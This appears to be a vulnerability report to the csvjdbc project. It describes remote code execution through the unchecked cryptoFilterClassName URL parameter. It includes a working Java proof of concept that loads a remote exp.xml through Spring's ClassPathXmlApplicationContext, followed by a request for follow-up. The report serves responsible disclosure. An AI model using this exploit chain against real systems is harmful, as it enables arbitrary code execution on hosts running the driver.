RCE in csvjdbc 1.0.46

[Fushuling]

The code instantiates a class passed in the URL that is cryptoFilterClassName without performing any subclass checks. Attackers can exploit this vulnerability to perform Remote Code Execution (RCE) by using malicious classes.

I have successfully reproduced the problem locally using the latest driver, csvjdbc 1.0.46.

import java.sql.SQLException;

public class test {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:relique:csv:D:/test?cryptoFilterClassName=org.springframework.context.support.ClassPathXmlApplicationContext&cryptoFilterParameters=http://127.0.0.1:50025/exp.xml";
        java.sql.DriverManager.getConnection(url);
    }
}

[Fushuling]

Hello, is there any follow-up to this report? Thank you.